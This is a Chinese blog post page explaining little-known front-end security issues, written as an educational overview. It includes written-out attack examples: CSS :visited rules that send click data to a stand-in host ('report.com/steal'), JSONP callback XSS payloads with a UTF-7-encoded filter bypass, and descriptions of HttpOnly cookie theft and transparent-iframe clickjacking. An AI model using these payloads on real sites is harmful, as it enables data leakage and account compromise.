<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  
  <meta name="renderer" content="webkit">
  <meta http-equiv="X-UA-Compatible" content="IE=edge" >
  <link rel="dns-prefetch" href="//litten.me">
  <title>前端安全冷门知识杂谈 | Litten的博客</title>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  <meta name="description" content="###零、概述提起web前端安全，大家都会想到两个名词：xss和csrf。抛去这最常见，最被广泛应用的两者，我想谈谈一些难以觉察的，比较偏门的安全关注点。大概分为以下章节：

盗取无法用js读写的Cookie删不掉的本地存储函数覆写监听上报内存Cookie与硬盘CookieCSS带来的点击量泄露JSONP回调函数与UTF-7编码过滤与代码混淆心理学与社会工程学">
<meta property="og:type" content="article">
<meta property="og:title" content="前端安全冷门知识杂谈">
<meta property="og:url" content="//litten.me/2014/05/27/safety-point-of-view-from-front-end/index.html">
<meta property="og:site_name" content="Litten的博客">
<meta property="og:description" content="###零、概述提起web前端安全，大家都会想到两个名词：xss和csrf。抛去这最常见，最被广泛应用的两者，我想谈谈一些难以觉察的，比较偏门的安全关注点。大概分为以下章节：

盗取无法用js读写的Cookie删不掉的本地存储函数覆写监听上报内存Cookie与硬盘CookieCSS带来的点击量泄露JSONP回调函数与UTF-7编码过滤与代码混淆心理学与社会工程学">
<meta property="og:image" content="//litten.me/assets/blogImg/safety_001.jpg">
<meta property="og:image" content="//litten.me/assets/blogImg/safety_002.jpg">
<meta property="og:image" content="//litten.me/assets/blogImg/safety_003.jpg">
<meta property="og:image" content="//litten.me/assets/blogImg/safety_004.jpg">
<meta property="og:image" content="//litten.me/assets/blogImg/safety_005.jpg">
<meta property="og:updated_time" content="2016-09-30T14:42:26.000Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="前端安全冷门知识杂谈">
<meta name="twitter:description" content="###零、概述提起web前端安全，大家都会想到两个名词：xss和csrf。抛去这最常见，最被广泛应用的两者，我想谈谈一些难以觉察的，比较偏门的安全关注点。大概分为以下章节：

盗取无法用js读写的Cookie删不掉的本地存储函数覆写监听上报内存Cookie与硬盘CookieCSS带来的点击量泄露JSONP回调函数与UTF-7编码过滤与代码混淆心理学与社会工程学">
<meta name="twitter:image" content="//litten.me/assets/blogImg/safety_001.jpg">
  
    <link rel="alternative" href="/atom.xml" title="Litten的博客" type="application/atom+xml">
  
  
    <link rel="icon" href="/assets/img/favicon.ico">
  
  <link rel="stylesheet" href="/main.css?v=4.0.0.css">
  

</head>

<body>
  <div id="container" q-class="show:isCtnShow">
    <canvas id="anm-canvas" class="anm-canvas"></canvas>
    <div class="left-col" q-class="show:isShow">
      <div class="overlay"></div>
<div class="intrude-less">
	<header id="header" class="inner">
		<a href="/" class="profilepic">
			<img src="/assets/blogImg/litten.png" class="js-avatar">
		</a>

		<hgroup>
		  <h1 class="header-author"><a href="/">Litten</a></h1>
		</hgroup>

		
		<p class="header-subtitle">胆小认生，不易相处</p>
		

		<nav class="header-menu">
			<ul>
			
				<li><a href="/">主页</a></li>
	        
				<li><a href="/photos">相册</a></li>
	        
			</ul>
		</nav>
		<nav class="header-smart-menu">
	        
    		
    			
    			<a data-idx="0" q-on="click: openSlider(e, 'innerArchive')" href="javascript:void(0)">所有文章</a>
    			
    			
            
    			
            
    			
    			<a data-idx="1" q-on="click: openSlider(e, 'aboutme')" href="javascript:void(0)">关于我</a>
    			
    			
            
		</nav>
		<nav class="header-nav">
			<div class="social">
				
					<a class="github" target="_blank" href="https://github.com/litten" title="github"><i class="icon-github"></i></a>
		        
					<a class="weibo" target="_blank" href="http://weibo.com/litten225" title="weibo"><i class="icon-weibo"></i></a>
		        
					<a class="rss" target="_blank" href="/atom.xml" title="rss"><i class="icon-rss"></i></a>
		        
			</div>
		</nav>
	</header>		
</div>

    </div>
    <div class="mid-col" q-class="show:isShow,hide:isShow|isFalse">
      <nav id="mobile-nav">
  	<div class="overlay">
  		<div class="slider-trigger"><i class="icon-sort"></i></div>
  		<h1 class="header-author js-mobile-header hide">Litten</h1>
  	</div>
	<div class="intrude-less">
		<header id="header" class="inner">
			<div class="profilepic">
				<img src="/assets/blogImg/litten.png" class="js-avatar">
			</div>
			<hgroup>
			  <h1 class="header-author">Litten</h1>
			</hgroup>
			
			<p class="header-subtitle">胆小认生，不易相处</p>
			
			<nav class="header-menu">
				<ul>
				
					<li><a href="/">主页</a></li>
		        
					<li><a href="/photos">相册</a></li>
		        
		        
		        	<li><a href="/archives">所有文章</a></li>
		        
				</ul>
			</nav>
			<nav class="header-nav">
				<div class="social">
					
						<a class="github" target="_blank" href="https://github.com/litten" title="github"><i class="icon-github"></i></a>
			        
						<a class="weibo" target="_blank" href="http://weibo.com/litten225" title="weibo"><i class="icon-weibo"></i></a>
			        
						<a class="rss" target="_blank" href="/atom.xml" title="rss"><i class="icon-rss"></i></a>
			        
				</div>
			</nav>
		</header>				
	</div>
</nav>

      <div id="wrapper" class="body-wrap">
        <div class="menu-l">
          <div class="canvas-wrap">
            <canvas data-colors="#eaeaea" data-sectionHeight="100" data-contentId="js-content" id="myCanvas1" class="anm-canvas"></canvas>
          </div>
          <div id="js-content" class="content-ll">
            <article id="post-safety-point-of-view-from-front-end" class="article article-type-post " itemscope itemprop="blogPost">
  <div class="article-inner">
    
      <header class="article-header">
        
  
    <h1 class="article-title" itemprop="name">
      前端安全冷门知识杂谈
    </h1>
  

        <a href="/2014/05/27/safety-point-of-view-from-front-end/" class="archive-article-date">
  	<time datetime="2014-05-27T15:52:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2014-05-27</time>
</a>
      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <p>###零、概述<br>提起web前端安全，大家都会想到两个名词：<code>xss</code>和<code>csrf</code>。<br>抛去这最常见，最被广泛应用的两者，我想谈谈一些难以觉察的，比较偏门的安全关注点。<br>大概分为以下章节：</p>
<blockquote>
<p>盗取无法用js读写的Cookie<br>删不掉的本地存储<br>函数覆写监听上报<br>内存Cookie与硬盘Cookie<br>CSS带来的点击量泄露<br>JSONP回调函数与UTF-7编码<br>过滤与代码混淆<br>心理学与社会工程学                  </p>
</blockquote>
<p>资料略多，文章较长，请自备瓜子…<br><a id="more"></a></p>
<p>###一、盗取无法用js读写的Cookie<br>为了防范xss获取Cookie，网络规范提供了HttpOnly Cookie机制，设置了该标志后，js脚本将无法读写该Cookie。但既然首先是“无法读”，如何“可以读”就成为了个有趣的话题。<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">setcookie(<span class="string">"test"</span>, <span class="number">1</span>, time()+<span class="number">3600</span>, <span class="string">""</span>, <span class="string">""</span>, <span class="number">0</span>); <span class="comment">// 设置普通Cookie</span></div><div class="line">setcookie(<span class="string">"test_http"</span>, <span class="number">1</span>, time()+<span class="number">3600</span>, <span class="string">""</span>, <span class="string">""</span>, <span class="number">0</span>, <span class="number">1</span>);<span class="comment">// 第7个参数是HttpOnly 标志，0 为关闭(默认)，1 为开启</span></div></pre></td></tr></table></figure></p>
<p>我们还是可以通过一些服务器上的漏洞去获取它们。</p>
<p>####2.1) 调试信息泄露<br>比较经典的是PHP的phpinfo文件：<br><img src="/assets/blogImg/safety_001.jpg" alt="phpinfo文件"><br>如果在部署服务时，没有删除这个默认的调试信息文件，将泄露服务器信息。其中包括HttpOnly Cookie。<br>访问phpinfo.php，将看到：<br><img src="/assets/blogImg/safety_002.jpg" alt="Alt text"><br>其他的服务器，如python的Django，也有类似的调试信息文件，在外发时要注意清除。                  </p>
<p>####2.2) Apache 2.2.x版本请求头超长泄露<br>Cookies最大限制一般为4kb左右，如果请求头长度超过LimitRequestFieldSize，将会引发400错误。在Apache 2.2.x多个版本内，如果引发400(Bad Requerst)错误，会返回出错的请求头内容，这就包含了HttpOnly Cookie。<br>因此，我们可以利用这个漏洞，构造一个超长的请求，让Apache返回400，并用ajax捕获xhr.responseText即可获得HttpOnly Cookie信息。<br><img src="/assets/blogImg/safety_003.jpg" alt="Alt text">                    </p>
<p>###三、删不掉的本地存储<br>如果把浏览器理解为一个器官，把恶意标志比方做寄生虫。这标志通过某种途径寄生在了浏览器，并且”永久”寄生，这想想都很可怕。这个标志，可能是植入广告的跟踪标志，或者有其他用处，总之它依附到你的浏览器就删不掉了。<br>但它是如何寄生的呢？又如何做到“永久”？这就涉及到本地存储安全。我们先看下常规的本地存储方案：</p>
<blockquote>
<p>Cookie - 是最常见的方式，key-value 模式<br>UserData - IE自己的本地存储，key-value 模式<br>localStorage - HTML5 新增的本地存储，key-value 模式<br>local Database -  HTML5 新增的浏览器本地DataBase，是SQLite 数据库<br>Flash Cookie Flash 的本地共享对象（LSO），key-value 模式，跨浏览器                   </p>
</blockquote>
<p>除去这些，我还收集了一些比较“偏门”的存储方案：          </p>
<blockquote>
<p>Silverlight的IsolatedStorage - 类似HTML5 localStorage<br>PNG Cache，将Cookie 转换成RGB 值描述形式，以PNG Cache 方式强制缓存着，读入则以HTML5 的canvas 对象读取并还原为原来的Cookie 值<br>HTTP Etags、Web Cache - 本质上都是利用了浏览器缓存机制：浏览器会优先从本地读取缓存的内容<br>Web History，利用的是“CSS 判断目标URL 是否访问过”技巧，比如a标签访问过会显示紫色（新浏览器已fix）<br>window.name，本质就是一个DOM 存储，并不存在本地。                   </p>
</blockquote>
<p>老外Samy Kamkar用半天开发了一个JavaScript API：<a href="http://en.wikipedia.org/wiki/Evercookie" target="_blank" rel="external">evercookie</a>。<br>该API利用了上面的全部存储手段，将“<code>永不丢失你的cookie</code>”贯彻到底…当evercookie发现用某种机制存储的cookie被数据将删除之后，它将利用其它机制创建的cookie数据来重新创建，让用户几乎不可能删除cookie。</p>
<p>###四、函数覆写监听上报<br>覆写函数，可以用于防范？这是网上安全论坛中有人提到的一个偏门要点。其缘由是：<code>搞跨站的人总习惯用alert来确认是否已成功跨站</code>，如果你要监控是否有人在测试你的网站xss的话，可以在你要监控的页面里覆写alert函数，记录alert调用情况。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">log</span>(<span class="params">s</span>) </span>&#123;</div><div class="line">    <span class="keyword">var</span> img = <span class="keyword">new</span> Image();</div><div class="line">    img.src = <span class="string">"http://yousite.com/log.php?caller="</span> + <span class="built_in">encodeURIComponent</span>(s);</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="keyword">var</span> _alert = alert;</div><div class="line"><span class="built_in">window</span>.alert = <span class="function"><span class="keyword">function</span>(<span class="params">s</span>) </span>&#123;</div><div class="line">    log(alert.caller);</div><div class="line">    _alert(s);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>如此，就能在有人调用alert时，就执行上报，以供监控。好吧，这里还涉及人的心理学…<br>其实函数覆写无论攻还是防，都应该是我们关注的一个点。相关文章：《<a href="http://www.xfocus.net/articles/200712/963.html" target="_blank" rel="external">浅谈javascript函数劫持</a>》。</p>
<p>###五、内存Cookie与硬盘Cookie<br><code>内存Cookie</code> - 指没有设置过期时间Expires的Cookie，随浏览器关闭，此Cookie在内存中销毁<br><code>硬盘Cookie</code> - 设置了过期事件Expires的Cookie，常驻硬盘，直到过期</p>
<p>我们很容易得出结论：内存Cookie更安全。因此，某些站点会把<code>敏感信息放到内存Cookie</code>里面。这原本是没什么风险的，但恰巧会在遇到XSS的时候失控。试想下，XSS攻击者可以给内存Cookie加一个过期时间，使其变为硬盘Cookie，就会在未来很长一段时间内，甚至是永久控制着目标用户的账号权限。                  </p>
<p>因此，这里有两个关注点：                 </p>
<ol>
<li>敏感信息还是不要放Cookie里，即使是内存Cookie；              </li>
<li>服务器要做Cookie的三个维度的校验 -  唯一性（是否验证通过）、完整性（是否被篡改了）、是否过期。               </li>
</ol>
<p>###六、CSS带来的点击量泄露<br>在我们的印象中，前端安全基本是js带来的问题，但css也会有安全隐患吗？是的。除去IE下的css中执行js代码问题，还有另外一个关注点。<br>假如有一个开源组件，我们只看了下js源码，觉得没有漏洞风险，就直接拿过来使用了。况且，没有前端人员乐于去读别人的css的…但有某种极端的情况，css带来了意想不到的数据泄露。<br>试想这是一个<code>导航栏组件</code>，html代码是这样的：<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://yousite.com/a1"</span> <span class="attr">id</span>=<span class="string">"a1"</span>&gt;</span>nav1<span class="tag">&lt;/<span class="name">a</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://yousite.com/a2"</span> <span class="attr">id</span>=<span class="string">"a2"</span>&gt;</span>nav2<span class="tag">&lt;/<span class="name">a</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://yousite.com/a3"</span> <span class="attr">id</span>=<span class="string">"a3"</span>&gt;</span>nav3<span class="tag">&lt;/<span class="name">a</span>&gt;</span></div></pre></td></tr></table></figure></p>
<p>你忽略掉的css写成这样：<br><figure class="highlight css"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="selector-id">#a1</span><span class="selector-pseudo">:visited</span> &#123;<span class="attribute">background</span>: <span class="built_in">url</span>(http://report.com/steal?data=a1);&#125;</div><div class="line"><span class="selector-id">#a2</span><span class="selector-pseudo">:visited</span> &#123;<span class="attribute">background</span>: <span class="built_in">url</span>(http://report.com/steal?data=a2);&#125;</div><div class="line"><span class="selector-id">#a3</span><span class="selector-pseudo">:visited</span> &#123;<span class="attribute">background</span>: <span class="built_in">url</span>(http://report.com/steal?data=a3);&#125;</div></pre></td></tr></table></figure></p>
<p>我们用到业务里，用户点击这三个导航后，a标签的visited伪属性生效，就会设置background，而背景的url其实是上报地址。这时候，你的业务的<code>点击数据量</code>就暴露给第三方了！<br>当然，这只针对旧版本浏览器，新版本浏览器都已fix这个问题。可是，HTML5的出现又让这个问题回归了…<br>HTML5提供伪类<code>::selection</code>，当指定对象区域被选择时，就会触发。其原理跟上面类似。                         </p>
<p>###七、JSONP回调函数与UTF-7编码</p>
<p>####7.1) 基本原理<br>在JSONP技术中，服务器通常会让请求方在请求参数中提供callback 函数名，而不是由数据提供方定制，如请求方发起请求：<br><code>cgi-bin/get_jsonp?id=123&amp;call_back=some_function</code><br>返回数据格式为：<br><code>some_function([{&#39;id&#39;:123, data:&#39;some_data&#39;}]);</code><br>如果，数据提供方没有对callback函数名做安全过滤，就会带来XSS问题。<br>请求：<br><code>cgi-bin/get_jsonp?id=123&amp;call_back=&lt;script&gt;alert(1);&lt;/script&gt;</code><br>返回：<br><code>&lt;script&gt;alert(1);&lt;/script&gt;([{&#39;id&#39;:123, data:&#39;some_data&#39;}]);</code><br>所以，一般服务器都会对call_back参数进行过滤，但过滤的方法是否会存在漏洞呢？                              </p>
<p>####7.2) IE解析UTF-7漏洞<br>比较简单的过滤方法，是过滤<code>&lt;&gt;</code>字符，使得无法构成html标签。但在IE6\IE7的某些版本中，存在以下漏洞：<strong>如果发现文件前面是“+/v8”开头，就把文件当做UTF-7解析</strong>（IE7后续版本已发布补丁修复）。<br>在没被修复的IE版本中，如果我们将上面的请求用utf-7编码。再在前面加上”+/v8”头：<br><code>cgi-bin/get_jsonp?id=123&amp;callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4</code><br>这时候巧妙的躲开了<code>&lt;&gt;</code>过滤，而返回：<br><code>+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4({‘id’=&gt;123,data=&gt;’some_data’});</code><br>这时IE将这个jsonp文件当作utf-7解析，依然触发XSS。                       </p>
<p>###八、过滤与代码混淆<br>过滤器如果过滤了大部分的js函数，如eval、alert之类，是否就能保证安全呢？必然不是，我们还有强大的js代码混淆手段，可以绕过过滤器。这里推荐一个神奇的网站：<a href="http://utf-8.jp/public/jsfuck.html" target="_blank" rel="external">jsfuck</a>。<br>站名如其名，满满的恶意…它可以仅仅用6个字符：<code>[]()!+</code>去混淆编码js。而且兼容性特别的完善。以下是我在最新chrome下的截图，将一句<code>alert(1)</code>编码成了3009个字符，并执行成功：<br><img src="/assets/blogImg/safety_004.jpg" alt="Alt text"><br>所以过滤器仅仅通过适配关键函数名，是不能保证安全性的。</p>
<p>###九、心理学与社会工程学<br>有个观点认为“一切钓鱼网站成功案例，都是一次心理学的实战演练”。在这个层面，可谓五花八门，创意百出。分享两个案例：</p>
<p>####9.1）诱导触发拖拽事件<br>比方说，有某已知漏洞，要用户触发拖拽事件才能触发。怎么搞定这个事情呢？<br>很简单，添加一张图片：<br><img src="/assets/blogImg/safety_005.jpg" alt="Alt text"><br>注意这是一张图片，滚动条是图片的一部分而不是真正的浏览器控件，用户自然会去下拉“滚动条”，因而触发了这个漏洞。</p>
<p>####9.2) 传说中的QQ空间“传染病毒”<br>步骤是这样的：                    </p>
<ol>
<li>A(始作俑者)发布了一条说说：<code>这个网站很好玩，快来试试吧~ http://xxx.xxx</code>                     </li>
<li>A的好友们看到了，打开了这个链接，玩了一下后，就关闭了页面                     </li>
<li>好友们不知道，竟然自己的空间主动转发了这条说说（问题是自己没有点转发呀！）                     </li>
<li>一传十十传百，越传越广…                     </li>
</ol>
<p>但真实的情况跟CSRF没一点关系。玄妙在于：<code>好友们打开链接后干了什么事情？</code><br>这个网站是一个小球在跳来跳去，网站上有一句话：你能点到我吗？<br>用户看到后，就很想去点击小球，看会发生什么；但点击后，就转发了说说…                     </p>
<p>有人会问，这不是CSRF吗？还真不是。做法却很简单：<br>“有趣”的网站内嵌了一个iframe，iframe加载的是这条说说的原页面，然后把“转发”按钮刚好放到小球的位置上，再把这iframe的透明度变为0。所以用户点击小球，其实是<code>点击了iframe中的转发按钮</code>。真是令人万万没想到。                     </p>
<p>以上。<br>End. 5.27 by litten.                                           </p>

      

      
    </div>
    <div class="article-info article-info-index">
      
      
	<div class="article-tag tagcloud">
		<i class="icon-price-tags"></i>
		<ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/web/">web</a></li></ul>
	</div>

      

      

      
        
<div class="share-btn share-icons tooltip-left">
  <div class="tooltip tooltip-east">
    <span class="tooltip-item">
      <a href="javascript:;" class="share-sns share-outer">
        <i class="icon icon-share"></i>
      </a>
    </span>
    <span class="tooltip-content">
      <div class="share-wrap">
        <div class="share-icons">
          <a class="weibo share-sns" href="javascript:;" data-type="weibo">
            <i class="icon icon-weibo"></i>
          </a>
          <a class="weixin share-sns wxFab" href="javascript:;" data-type="weixin">
            <i class="icon icon-weixin"></i>
          </a>
          <a class="qq share-sns" href="javascript:;" data-type="qq">
            <i class="icon icon-qq"></i>
          </a>
          <a class="douban share-sns" href="javascript:;" data-type="douban">
            <i class="icon icon-douban"></i>
          </a>
          <a class="qzone share-sns" href="javascript:;" data-type="qzone">
            <i class="icon icon-qzone"></i>
          </a>
          <a class="facebook share-sns" href="javascript:;" data-type="facebook">
            <i class="icon icon-facebook"></i>
          </a>
          <a class="twitter share-sns" href="javascript:;" data-type="twitter">
            <i class="icon icon-twitter"></i>
          </a>
          <a class="google share-sns" href="javascript:;" data-type="google">
            <i class="icon icon-google"></i>
          </a>
        </div>
      </div>
    </span>
  </div>
</div>

<div class="page-modal wx-share js-wx-box">
    <a class="close js-modal-close" href="javascript:;"><i class="icon icon-close"></i></a>
    <p>扫一扫，分享到微信</p>
    <div class="wx-qrcode">
      <img src="" alt="微信分享二维码">
    </div>
</div>

<div class="mask js-mask"></div>
      
      <div class="clearfix"></div>
    </div>
  </div>
</article>

  
<nav id="article-nav">
  
    <a href="/2014/07/25/folder-to-tree/" id="article-nav-newer" class="article-nav-link-wrap">
      <i class="icon-circle-left"></i>
      <div class="article-nav-title">
        
          一个文件夹的自我介绍
        
      </div>
    </a>
  
  
    <a href="/2014/03/30/volunteer-activities/" id="article-nav-older" class="article-nav-link-wrap">
      <div class="article-nav-title">小朋友，跟你谈谈印象派</div>
      <i class="icon-circle-right"></i>
    </a>
  
</nav>






<div class="duoshuo">
	<!-- 多说评论框 start -->
	<div class="ds-thread" data-thread-key="safety-point-of-view-from-front-end" data-title="前端安全冷门知识杂谈" data-url="//litten.me/2014/05/27/safety-point-of-view-from-front-end/"></div>
	<!-- 多说评论框 end -->
	<!-- 多说公共JS代码 start (一个网页只需插入一次) -->
	<script type="text/javascript">
	var duoshuoQuery = {short_name:"litten-hexo"};
	(function() {
		var ds = document.createElement('script');
		ds.type = 'text/javascript';ds.async = true;
		ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
		ds.charset = 'UTF-8';
		(document.getElementsByTagName('head')[0] 
		 || document.getElementsByTagName('body')[0]).appendChild(ds);
	})();
	</script>
	<!-- 多说公共JS代码 end -->
</div>





          </div>
        </div>
      </div>
      <footer id="footer">
  <div class="outer">
    <div id="footer-info">
    	<div class="footer-left">
    		&copy; 2016 Litten
    	</div>
      	<div class="footer-right">
      		<a href="http://hexo.io/" target="_blank">Hexo</a>  Theme <a href="https://github.com/litten/hexo-theme-yilia" target="_blank">Yilia</a> by Litten
      	</div>
    </div>
  </div>
</footer>
    </div>
    <script>
	var yiliaConfig = {
		mathjax: false,
		isHome: false,
		isPost: true,
		isArchive: false,
		isTag: false,
		isCategory: false,
		open_in_new: true,
		root: "/",
		innerArchive: true
	}
</script>

<script src="/./main.js?v=4.0.0.js"></script>


    
<div class="tools-col" q-class="show:isShow,hide:isShow|isFalse" q-on="click:stop(e)">
  <div class="tools-wrap">
    
    	<section class="tools-section tools-section-all" q-show="innerArchive">
        <div class="search-wrap">
          <input class="search-ipt" q-model="search" type="text" placeholder="find something…">
          <i class="icon-search icon" q-show="search|isEmptyStr"></i>
          <i class="icon-close icon" q-show="search|isNotEmptyStr" q-on="click:clearChose(e)"></i>
        </div>
        <div class="widget tagcloud search-tag">
          <p class="search-tag-wording">tag:</p>
          <label class="search-switch">
            <input type="checkbox" q-on="click:toggleTag(e)" q-attr="checked:showTags">
          </label>
          <ul class="article-tag-list" q-show="showTags">
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">js</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">html5</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">设计</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">杂谈</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">游戏</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">旧事</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">coffeescript</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">web</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">旅行</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">css</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">css3</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">工具</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">chrome</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">生活</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">安全</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">黑科技</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">octopress</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">浏览器</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">主题</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">hexo</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">经验</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">产品</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">前端</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">github</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">药别停</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">模式</a>
              </li>
             
              <li class="article-tag-list-item">
                <a href="javascript:void(0)">性能</a>
              </li>
            
            <div class="clearfix"></div>
          </ul>
        </div>
        <ul class="search-ul">
          <p q-show="jsonFail" style="padding: 20px; font-size: 12px;">
            缺失模块。<br/>1、在博客根目录（注意不是yilia根目录）执行以下命令：<br/> npm i hexo-generator-json-content --save<br/><br/>
            2、在根目录_config.yml里添加配置：
<pre style="font-size: 12px;" q-show="jsonFail">
  jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: true
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true
</pre>
          </p>
          <li class="search-li" q-repeat="items" q-show="isShow">
            <a q-attr="href:path|urlformat" class="search-title"><i class="icon-quo-left icon"></i><span q-text="title"></span></a>
            <p class="search-time">
              <i class="icon-calendar icon"></i>
              <span q-text="date|dateformat"></span>
            </p>
            <p class="search-tag">
              <i class="icon-price-tags icon"></i>
              <span q-repeat="tags" q-on="click:choseTag(e, name)" q-text="name|tagformat"></span>
            </p>
          </li>
        </ul>
    	</section>
    

    

    
    	<section class="tools-section tools-section-me" q-show="aboutme">
  	  	
  	  		<div class="aboutme-wrap" id="js-aboutme">Litten，&lt;br&gt;毕业于华科，就职于鹅厂&lt;br&gt;&lt;br&gt;热爱大海与冷笑话，&lt;br/&gt;目前是一枚前端&lt;br/&gt;&lt;br/&gt;胆小认生，不易相处，&lt;br&gt;年轻无为，卖马为生。</div>
  	  	
    	</section>
    
  </div>
  
</div>
    <!-- Root element of PhotoSwipe. Must have class pswp. -->
<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">

    <!-- Background of PhotoSwipe. 
         It's a separate element as animating opacity is faster than rgba(). -->
    <div class="pswp__bg"></div>

    <!-- Slides wrapper with overflow:hidden. -->
    <div class="pswp__scroll-wrap">

        <!-- Container that holds slides. 
            PhotoSwipe keeps only 3 of them in the DOM to save memory.
            Don't modify these 3 pswp__item elements, data is added later on. -->
        <div class="pswp__container">
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
        </div>

        <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->
        <div class="pswp__ui pswp__ui--hidden">

            <div class="pswp__top-bar">

                <!--  Controls are self-explanatory. Order can be changed. -->

                <div class="pswp__counter"></div>

                <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>

                <button class="pswp__button pswp__button--share" style="display:none" title="Share"></button>

                <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>

                <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>

                <!-- Preloader demo http://codepen.io/dimsemenov/pen/yyBWoR -->
                <!-- element will get class pswp__preloader--active when preloader is running -->
                <div class="pswp__preloader">
                    <div class="pswp__preloader__icn">
                      <div class="pswp__preloader__cut">
                        <div class="pswp__preloader__donut"></div>
                      </div>
                    </div>
                </div>
            </div>

            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
                <div class="pswp__share-tooltip"></div> 
            </div>

            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">
            </button>

            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">
            </button>

            <div class="pswp__caption">
                <div class="pswp__caption__center"></div>
            </div>

        </div>

    </div>

</div>
  </div>
</body>
</html>